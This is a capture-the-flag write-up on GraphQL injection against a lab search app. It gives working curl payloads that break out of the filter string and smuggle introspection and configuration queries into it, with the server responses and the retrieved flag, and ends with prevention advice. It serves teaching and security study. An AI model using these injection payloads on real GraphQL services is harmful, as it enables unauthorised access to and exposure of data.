Misc CTF - GraphQL Injection

— Written by — 4 min read

GraphQL is becoming more and more common nowadays and this challenge was the perfect way to digg into the subject and understand the flaws we can find there.

Tl;Dr: After understanding the app is making GraphQL request it was possible to inject arbritrary GraphQL queries. This way we could create an introspection query in order to retrieve more informations about the available Queries, Types, Fields. Mutations. etc. used by the server. With those informations it was then possible to forge a query to retrieve the flag.

Alright! Let’s get into the details now!


Recon

Opening the challenge displays the following app:

egraph misc ctf

The app seems to only have one feature. Let’s open our browser Dev Tools to see what’s going on.

When we make a simple search for “John” the following request is being made:

1
2
3
4
5
6
7
POST /search HTTP/1.1
Host: misc.ctf:33435
Content-Type: application/json
Connection: close
Content-Length: 17

{"filter":"John"}

And we get the following result:

1
2
3
4
5
6
7
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 132
ETag: W/"84-W1Jl79yV42Y65MNzIB+8pLV3dM4"
Connection: close

{"data":{"findIndividuals":[{"id":"0","firstName":"John","lastName":"Doe","criminalRiskScore":98,"sex":"MALE","dob":"1949-06-08"}]}}

The format of requests and responses looks very like GraphQL queries. This would make sense given the name of the challenge.

GraphQL Architecture

If you are not familiar with GraphQL, here is the definition from the official website:

GraphQL is a query language for APIs and a runtime for fulfilling those queries with your existing data. GraphQL provides a complete and understandable description of the data in your API, gives clients the power to ask for exactly what they need and nothing more, makes it easier to evolve APIs over time, and enables powerful developer tools.
https://graphql.org/

An interesting point is that GraphQL isn’t tied to any specific database and is instead backed by code. It means that, unlike REST APIs (where the client first interacts with arbitrary code written by programmer and this code reaches the database); the client first interacts with GraphQL, which in turn interacts with arbitrary code and ultimately ends talking to the database.

image

GraphQL Injection

When we try to input a classical quote " in the search field the get the following error:

1
2
$ curl 'http://misc.ctf:33436' -H 'Content-Type: application/json' --data-binary '{"filter":"\""}'
{"errors":[{"message":"Syntax Error: Unterminated string.","locations":[{"line":1,"column":96}]}]}%

Since I know nothing about GraphQL I checked the documentation of the Javascript Client.
From the doc and the request result we can guess that the application backend is doing a query more or less like this:

1
query = `query { findIndividuals(filter: "${req.body.filter}") { id, firstName, lastName, criminalRiskScore, sex, dob } }`)

From there we can see how we could possibly inject custom queries. The idea is exactly the same as SQL Injection.

First step is to craft a query to retrieve as much informations as possible from the database. We can do so using GraphQL Introspection Query.

Introspection is the ability to query which resources are available in the current API schema. Given the API, via introspection, we can see the queries, types, fields, and directives it supports.

Doing the following query should allow us to get all informations we need about the API schema:

1
2
3
4
5
6
7
8
__schema {
types {
name,
fields {
name
}
}
}

So if we try to inject this query in the app, we should send something like this (the # at the end will comment the end of the line):

1
"){firstname}__schema{types{name,fields{name}}}}#}"

So the server will make the following query:

1
query { findIndividuals(filter: ""){firstname}__schema{types{name,fields{name}}}}#}") { id, firstName, lastName, criminalRiskScore, sex, dob } }

Let’s send it:

1
2
3
$ curl 'http://misc.ctf:33436/search' --data-binary '{"filter":"\"){firstName}__schema{types{name,fields{name}}}}#}"}' -H 'Content-Type: application/json'

{"data":{"findIndividuals":[{"firstName":"John"},{"firstName":"Bob"},{"firstName":"Jeremy"},{"firstName":"Brenda"},{"firstName":"Grace"},{"firstName":"Marie"},{"firstName":"Timothy"},{"firstName":"Robin"}],"__schema":{"types":[{"name":"__Schema","fields":[{"name":"description"},{"name":"types"},{"name":"queryType"},{"name":"mutationType"},{"name":"subscriptionType"},{"name":"directives"}]},{"name":"String","fields":null},{"name":"__Type","fields":[{"name":"kind"},{"name":"name"},{"name":"description"},{"name":"fields"},{"name":"interfaces"},{"name":"possibleTypes"},{"name":"enumValues"},{"name":"inputFields"},{"name":"ofType"}]},{"name":"__TypeKind","fields":null},{"name":"__Field","fields":[{"name":"name"},{"name":"description"},{"name":"args"},{"name":"type"},{"name":"isDeprecated"},{"name":"deprecationReason"}]},{"name":"__InputValue","fields":[{"name":"name"},{"name":"description"},{"name":"type"},{"name":"defaultValue"}]},{"name":"Boolean","fields":null},{"name":"__EnumValue","fields":[{"name":"name"},{"name":"description"},{"name":"isDeprecated"},{"name":"deprecationReason"}]},{"name":"__Directive","fields":[{"name":"name"},{"name":"description"},{"name":"isRepeatable"},{"name":"locations"},{"name":"args"}]},{"name":"__DirectiveLocation","fields":null},{"name":"Query","fields":[{"name":"findIndividuals"},{"name":"configuration"}]},{"name":"Individual","fields":[{"name":"id"},{"name":"firstName"},{"name":"lastName"},{"name":"criminalRiskScore"},{"name":"sex"},{"name":"dob"},{"name":"flag"}]},{"name":"ID","fields":null},{"name":"Int","fields":null},{"name":"Configuration","fields":[{"name":"value"}]}]}}}%

Bingo we got plenty of data. Amongst the results we notice a flag field and an uncommon configuration query.

Let’s forge a new query to see what we get get from the configuration query:

1
"){id}configuration{value}}#

We send it:

1
2
3
$ curl 'http://misc.ctf:33436/search' --data-binary '{"filter":"\"){id}configuration{value}}#}"}' -H 'Content-Type: application/json'

{"data":{"findIndividuals":[{"id":"0"},{"id":"1"},{"id":"2"},{"id":"3"},{"id":"4"},{"id":"5"},{"id":"6"},{"id":"7"}],"configuration":{"value":"flag{9r4pHql iNJ3Cti0N2!}"}}}%

References

Prevention Methods

Preventing injection requires keeping data separate from commands and queries.

  • The preferred option is to use a safe API, which avoids the use of the interpreter entirely or provides a parameterized interface, or migrate to use Object Relational Mapping Tools (ORMs).
  • Use positive or “whitelist” server-side input validation. This is not a complete defense as many applications require special characters, such as text areas or APIs for mobile applications.
  • For any residual dynamic queries, escape special characters using the specific escape syntax for that interpreter.
  • Use LIMIT and other SQL controls within queries to prevent mass disclosure of records in case of SQL injection.
  • See more: Injection Prevention Cheat Sheet | OWASP

Real Life Example

That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!

See you next time ;)

-hg8



CTFMisc
,